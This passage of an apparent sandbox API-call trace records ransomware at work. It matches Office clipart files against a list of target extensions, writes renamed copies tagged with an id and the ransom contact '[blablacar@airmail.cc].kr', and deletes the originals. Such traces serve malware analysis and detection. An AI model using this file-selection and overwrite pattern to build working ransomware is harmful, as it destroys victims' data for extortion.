Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0215.725] lstrlenW (lpString=".dbf") returned 4 [0215.725] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0215.725] lstrlenW (lpString=".1cd") returned 4 [0215.725] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0215.725] lstrlenW (lpString=".jpg") returned 4 [0215.725] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0215.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0215.726] lstrlenW (lpString=".doc") returned 4 [0215.726] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.726] lstrlenW (lpString=".docx") returned 5 [0215.726] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0215.726] lstrlenW (lpString=".pdf") returned 4 [0215.726] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.726] lstrlenW (lpString=".xls") returned 4 [0215.726] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.726] lstrlenW (lpString=".xlsx") returned 5 [0215.726] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0215.726] lstrlenW (lpString=".ppt") returned 4 [0215.726] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0215.726] lstrlenW (lpString=".zip") returned 4 [0215.726] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.726] lstrlenW (lpString=".rar") returned 4 [0215.726] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.726] lstrlenW (lpString=".bz2") returned 4 [0215.726] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.726] lstrlenW (lpString=".7z") returned 3 [0215.726] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0215.726] lstrlenW (lpString=".dbf") returned 4 [0215.726] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0215.726] lstrlenW (lpString=".1cd") returned 4 [0215.726] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0215.726] lstrlenW (lpString=".jpg") returned 4 [0215.726] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.727] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0215.727] lstrlenW (lpString="J0150150.WMF") returned 12 [0215.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0215.727] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=46404) returned 1 [0215.727] CloseHandle (hObject=0x378) returned 1 [0215.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 0x220 [0215.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0215.728] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.728] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0215.729] GetLastError () returned 0x0 [0215.729] ReadFile (in: hFile=0x378, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xb544, lpOverlapped=0x0) returned 1 [0215.732] WriteFile (in: hFile=0x550, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xb550, lpOverlapped=0x0) returned 1 [0215.733] ReadFile (in: hFile=0x378, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.734] WriteFile (in: hFile=0x550, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0215.734] SetEndOfFile (hFile=0x550) returned 1 [0215.734] CloseHandle (hObject=0x550) returned 1 [0215.734] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.734] SetEndOfFile (hFile=0x378) returned 1 [0215.737] CloseHandle (hObject=0x378) returned 1 [0215.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 1 [0215.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0215.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0215.738] lstrlenW (lpString=".doc") returned 4 [0215.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0215.738] lstrlenW (lpString=".docx") returned 5 [0215.738] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0215.738] lstrlenW (lpString=".pdf") returned 4 [0215.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0215.738] lstrlenW (lpString=".xls") returned 4 [0215.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0215.739] lstrlenW (lpString=".xlsx") returned 5 [0215.739] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0215.739] lstrlenW (lpString=".ppt") returned 4 [0215.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0215.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0215.739] lstrlenW (lpString=".zip") returned 4 [0215.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0215.739] lstrlenW (lpString=".rar") returned 4 [0215.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0215.739] lstrlenW (lpString=".bz2") returned 4 [0215.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0215.739] lstrlenW (lpString=".7z") returned 3 [0215.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0215.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0215.739] lstrlenW (lpString=".dbf") returned 4 [0215.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0215.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0215.739] lstrlenW (lpString=".1cd") returned 4 [0215.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0215.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0215.739] lstrlenW (lpString=".jpg") returned 4 [0215.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0215.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0215.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0215.739] lstrlenW (lpString=".doc") returned 4 [0215.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0215.739] lstrlenW (lpString=".docx") returned 5 [0215.739] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0215.739] lstrlenW (lpString=".pdf") returned 4 [0215.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0215.739] lstrlenW (lpString=".xls") returned 4 [0215.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0215.739] lstrlenW (lpString=".xlsx") returned 5 [0215.740] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0215.740] lstrlenW (lpString=".ppt") returned 4 [0215.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0215.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0215.740] lstrlenW (lpString=".zip") returned 4 [0215.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0215.740] lstrlenW (lpString=".rar") returned 4 [0215.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0215.740] lstrlenW (lpString=".bz2") returned 4 [0215.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0215.740] lstrlenW (lpString=".7z") returned 3 [0215.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0215.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0215.740] lstrlenW (lpString=".dbf") returned 4 [0215.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0215.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0215.740] lstrlenW (lpString=".1cd") returned 4 [0215.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0215.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0215.740] lstrlenW (lpString=".jpg") returned 4 [0215.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0215.740] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0215.740] lstrlenW (lpString="J0150861.WMF") returned 12 [0215.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.944] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=8494) returned 1 [0215.944] CloseHandle (hObject=0x518) returned 1 [0215.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 0x220 [0215.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0216.458] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.458] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0216.460] GetLastError () returned 0x0 [0216.460] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x212e, lpOverlapped=0x0) returned 1 [0216.461] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2130, lpOverlapped=0x0) returned 1 [0216.462] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.462] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0216.462] SetEndOfFile (hFile=0x4d4) returned 1 [0216.463] CloseHandle (hObject=0x4d4) returned 1 [0216.463] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.463] SetEndOfFile (hFile=0x38c) returned 1 [0216.468] CloseHandle (hObject=0x38c) returned 1 [0216.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 1 [0216.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0216.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0216.469] lstrlenW (lpString=".doc") returned 4 [0216.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.469] lstrlenW (lpString=".docx") returned 5 [0216.469] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0216.469] lstrlenW (lpString=".pdf") returned 4 [0216.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.469] lstrlenW (lpString=".xls") returned 4 [0216.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.469] lstrlenW (lpString=".xlsx") returned 5 [0216.469] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0216.469] lstrlenW (lpString=".ppt") returned 4 [0216.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0216.469] lstrlenW (lpString=".zip") returned 4 [0216.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.469] lstrlenW (lpString=".rar") returned 4 [0216.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.469] lstrlenW (lpString=".bz2") returned 4 [0216.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.469] lstrlenW (lpString=".7z") returned 3 [0216.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0216.469] lstrlenW (lpString=".dbf") returned 4 [0216.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0216.470] lstrlenW (lpString=".1cd") returned 4 [0216.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0216.470] lstrlenW (lpString=".jpg") returned 4 [0216.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0216.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0216.470] lstrlenW (lpString=".doc") returned 4 [0216.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.470] lstrlenW (lpString=".docx") returned 5 [0216.470] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0216.470] lstrlenW (lpString=".pdf") returned 4 [0216.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.470] lstrlenW (lpString=".xls") returned 4 [0216.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.470] lstrlenW (lpString=".xlsx") returned 5 [0216.470] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0216.470] lstrlenW (lpString=".ppt") returned 4 [0216.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0216.470] lstrlenW (lpString=".zip") returned 4 [0216.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.470] lstrlenW (lpString=".rar") returned 4 [0216.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.470] lstrlenW (lpString=".bz2") returned 4 [0216.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.470] lstrlenW (lpString=".7z") returned 3 [0216.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0216.470] lstrlenW (lpString=".dbf") returned 4 [0216.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0216.471] lstrlenW (lpString=".1cd") returned 4 [0216.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0216.471] lstrlenW (lpString=".jpg") returned 4 [0216.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.471] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0216.471] lstrlenW (lpString="J0151581.WMF") returned 12 [0216.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0216.472] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10752) returned 1 [0216.472] CloseHandle (hObject=0x38c) returned 1 [0216.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 0x220 [0216.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0216.472] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.472] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0216.473] GetLastError () returned 0x0 [0216.473] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2a00, lpOverlapped=0x0) returned 1 [0216.475] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2a10, lpOverlapped=0x0) returned 1 [0216.476] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.476] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0216.476] SetEndOfFile (hFile=0x4d4) returned 1 [0216.476] CloseHandle (hObject=0x4d4) returned 1 [0216.476] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.476] SetEndOfFile (hFile=0x38c) returned 1 [0216.479] CloseHandle (hObject=0x38c) returned 1 [0216.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 1 [0216.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0216.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0216.480] lstrlenW (lpString=".doc") returned 4 [0216.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.480] lstrlenW (lpString=".docx") returned 5 [0216.480] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0216.480] lstrlenW (lpString=".pdf") returned 4 [0216.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.480] lstrlenW (lpString=".xls") returned 4 [0216.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.480] lstrlenW (lpString=".xlsx") returned 5 [0216.480] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0216.480] lstrlenW (lpString=".ppt") returned 4 [0216.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0216.480] lstrlenW (lpString=".zip") returned 4 [0216.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.480] lstrlenW (lpString=".rar") returned 4 [0216.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.481] lstrlenW (lpString=".bz2") returned 4 [0216.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.481] lstrlenW (lpString=".7z") returned 3 [0216.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0216.481] lstrlenW (lpString=".dbf") returned 4 [0216.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0216.481] lstrlenW (lpString=".1cd") returned 4 [0216.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0216.481] lstrlenW (lpString=".jpg") returned 4 [0216.481] lstrcmpiW 